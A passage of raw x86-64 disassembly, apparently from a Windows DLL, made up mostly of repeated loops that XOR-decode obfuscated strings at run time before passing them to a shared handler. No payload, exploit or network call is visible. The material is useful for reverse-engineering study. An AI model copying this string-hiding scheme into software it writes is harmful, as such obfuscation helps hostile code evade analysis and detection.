xorps xmm2, xmm1
movd dword [rbp + 0x160c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1608]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008b130
lea rax, [rbp + 0x1608]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b170
lea rdx, [rbp + 0x1608]
jmp 0x180090ce1
movzx ecx, word [0x1801c3068]
mov r8, r13
movzx eax, byte [0x1801c306a]
movsd xmm0, qword [0x1801c3060]
movsd qword [rbp + 0x1368], xmm0
xor byte [rbp + 0x1369], 0x37
xor byte [rbp + 0x136a], 0x38
xor byte [rbp + 0x136b], 0x39
xor byte [rbp + 0x136c], 0x3a
xor byte [rbp + 0x136d], 0x3b
xor byte [rbp + 0x136e], 0x3c
xor byte [rbp + 0x136f], 0x3d
mov word [rbp + 0x1370], cx
xor cl, 0x3e
xor byte [rbp + 0x1371], 0x3f
xor al, 0x40
mov byte [rbp + 0x1368], 0x43
mov byte [rbp + 0x1372], al
lea rax, [rbp + 0x1368]
mov byte [rbp + 0x1370], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b204
lea rdx, [rbp + 0x1368]
jmp 0x180090ce1
mov eax, dword [str.nV35__D]
mov r8d, r14d
movsd xmm0, qword [str.V_QSUY]
mov dword [rbp + 0x1d28], eax
movzx eax, word [0x1801c307c]
mov word [rbp + 0x1d2c], ax
movzx eax, byte [0x1801c307e]
mov byte [rbp + 0x1d2e], al
movsd qword [rbp + 0x1d20], xmm0
cmp r12d, 2
jl 0x18008b34a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.V_QSUY]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1d20], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1d24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1d24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1d20]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008b360
lea rax, [rbp + 0x1d20]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b3a0
lea rdx, [rbp + 0x1d20]
jmp 0x180090ce1
movzx eax, byte [0x1801c3088]
mov r8, r13
movsd xmm0, qword [str.VP]
movsd qword [rbp + 0xe48], xmm0
xor byte [rbp + 0xe49], 0x37
xor byte [rbp + 0xe4a], 0x38
xor byte [rbp + 0xe4b], 0x39
xor byte [rbp + 0xe4c], 0x3a
xor byte [rbp + 0xe4d], 0x3b
xor byte [rbp + 0xe4e], 0x3c
xor byte [rbp + 0xe4f], 0x3d
xor al, 0x3e
mov byte [rbp + 0xe48], Ordinal_79
mov byte [rbp + 0xe50], al
lea rax, [rbp + 0xe48]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b416
lea rdx, [rbp + 0xe48]
jmp 0x180090ce1
mov eax, dword [0x1801c3098]
mov r8d, r14d
movsd xmm0, qword [0x1801c3090]
mov dword [rbp + 0x1778], eax
movzx eax, byte [0x1801c309c]
mov byte [rbp + 0x177c], al
movsd qword [rbp + 0x1770], xmm0
cmp r12d, 2
jl 0x18008b54e
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3090]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1770], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1774]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1774], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1770]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008b560
lea rax, [rbp + 0x1770]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b5a0
lea rdx, [rbp + 0x1770]
jmp 0x180090ce1
cmp byte [0x1801c30ad], r14b
mov eax, dword [0x1801c30a8]
movsd xmm0, qword [0x1801c30a0]
mov dword [rbp + 0x1b08], eax
movzx eax, word [0x1801c30ac]
mov word [rbp + 0x1b0c], ax
movsd qword [rbp + 0x1b00], xmm0
je 0x18008b734
mov r8d, r14d
cmp r12d, 2
jl 0x18008b6e6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c30a0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b00], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b04]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008b700
lea rax, [rbp + 0x1b00]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b740
lea rdx, [rbp + 0x1b00]
jmp 0x180090ce1
cmp byte [0x1801c30c3], r14b
movups xmm0, xmmword [0x1801c30b0]
mov eax, dword [0x1801c30c0]
mov dword [rbp + 0x23f8], eax
movups xmmword [rbp + 0x23e8], xmm0
je 0x18008b8e4
mov r8d, r14d
cmp r12d, 2
jl 0x18008b89b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x23ec]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008b7a0
cmp r8d, 0x14
jge 0x18008b8e4
movsxd rax, r8d
lea r9, [rbp + 0x23e8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x18008b8b0
lea rax, [rbp + 0x23e8]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008b8f0
lea rdx, [rbp + 0x23e8]
jmp 0x180090ce1
cmp byte [0x1801c30d5], r14b
mov eax, dword [0x1801c30d0]
movsd xmm0, qword [0x1801c30c8]
mov dword [rbp + 0x1b18], eax
movzx eax, word [0x1801c30d4]
mov word [rbp + 0x1b1c], ax
movsd qword [rbp + 0x1b10], xmm0
je 0x18008ba84
mov r8d, r14d
cmp r12d, 2
jl 0x18008ba36
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c30c8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b10], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b14]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b10]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008ba50
lea rax, [rbp + 0x1b10]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ba90
lea rdx, [rbp + 0x1b10]
jmp 0x180090ce1
cmp byte [0x1801c30eb], r14b
movups xmm0, xmmword [str.uVJ_SUY]
mov eax, dword [0x1801c30e8]
mov dword [rbp + 0x2410], eax
movups xmmword [rbp + 0x2400], xmm0
je 0x18008bc34
mov r8d, r14d
cmp r12d, 2
jl 0x18008bbeb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2404]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008baf0
cmp r8d, 0x14
jge 0x18008bc34
movsxd rax, r8d
lea r9, [rbp + 0x2400]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x18008bc00
lea rax, [rbp + 0x2400]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008bc40
lea rdx, [rbp + 0x2400]
jmp 0x180090ce1
mov eax, dword [0x1801c30f8]
mov r8d, r14d
movsd xmm0, qword [str.wSNXTXYY]
mov dword [rbp + 0x1d38], eax
movzx eax, word [0x1801c30fc]
mov word [rbp + 0x1d3c], ax
movzx eax, byte [0x1801c30fe]
mov byte [rbp + 0x1d3e], al
movsd qword [rbp + 0x1d30], xmm0
cmp r12d, 2
jl 0x18008bd86
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wSNXTXYY]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1d30], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1d34]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1d34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1d30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008bda0
lea rax, [rbp + 0x1d30]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008bde0
lea rdx, [rbp + 0x1d30]
jmp 0x180090ce1
movups xmm0, xmmword [str.eG_ZSZP]
movups xmmword [rbp + 0x1ef0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008bf74
cmp r12d, 2
jl 0x18008bf35
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1ef4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008be40
jmp 0x18008bf74
lea r9, [rbp + 0x1ef0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008bf40
lea rax, [rbp + 0x1ef0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008bf80
lea rdx, [rbp + 0x1ef0]
jmp 0x180090ce1
cmp byte [0x1801c3125], r14b
mov eax, dword [0x1801c3120]
movups xmm0, xmmword [0x1801c3110]
mov dword [rbp + 0x25f0], eax
movzx eax, word [0x1801c3124]
movups xmmword [rbp + 0x25e0], xmm0
mov word [rbp + 0x25f4], ax
je 0x18008c134
mov r8d, r14d
cmp r12d, 2
jl 0x18008c0eb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x25e4]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008bff0
cmp r8d, 0x16
jge 0x18008c134
movsxd rax, r8d
lea r9, [rbp + 0x25e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x18008c100
lea rax, [rbp + 0x25e0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008c140
lea rdx, [rbp + 0x25e0]
jmp 0x180090ce1
cmp byte [0x1801c3135], r14b
mov eax, dword [0x1801c3130]
movsd xmm0, qword [0x1801c3128]
mov dword [rbp + 0x1b28], eax
movzx eax, word [0x1801c3134]
mov word [rbp + 0x1b2c], ax
movsd qword [rbp + 0x1b20], xmm0
je 0x18008c2d4
mov r8d, r14d
cmp r12d, 2
jl 0x18008c286
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3128]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b20], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008c2a0
lea rax, [rbp + 0x1b20]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008c2e0
lea rdx, [rbp + 0x1b20]
jmp 0x180090ce1
cmp byte [0x1801c314b], r14b
movups xmm0, xmmword [str.tBTUJNL]
mov eax, dword [0x1801c3148]
mov dword [rbp + 0x2428], eax
movups xmmword [rbp + 0x2418], xmm0
je 0x18008c484
mov r8d, r14d
cmp r12d, 2
jl 0x18008c43b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x241c]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008c340
cmp r8d, 0x14
jge 0x18008c484
movsxd rax, r8d
lea r9, [rbp + 0x2418]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x18008c450
lea rax, [rbp + 0x2418]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008c490
lea rdx, [rbp + 0x2418]
jmp 0x180090ce1
cmp byte [0x1801c315d], r14b
mov eax, dword [str.lV_C]
movsd xmm0, qword [str.uXUI_XH]
mov dword [rbp + 0x1b38], eax
movzx eax, word [0x1801c315c]
mov word [rbp + 0x1b3c], ax
movsd qword [rbp + 0x1b30], xmm0
je 0x18008c624
mov r8d, r14d
cmp r12d, 2
jl 0x18008c5d6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
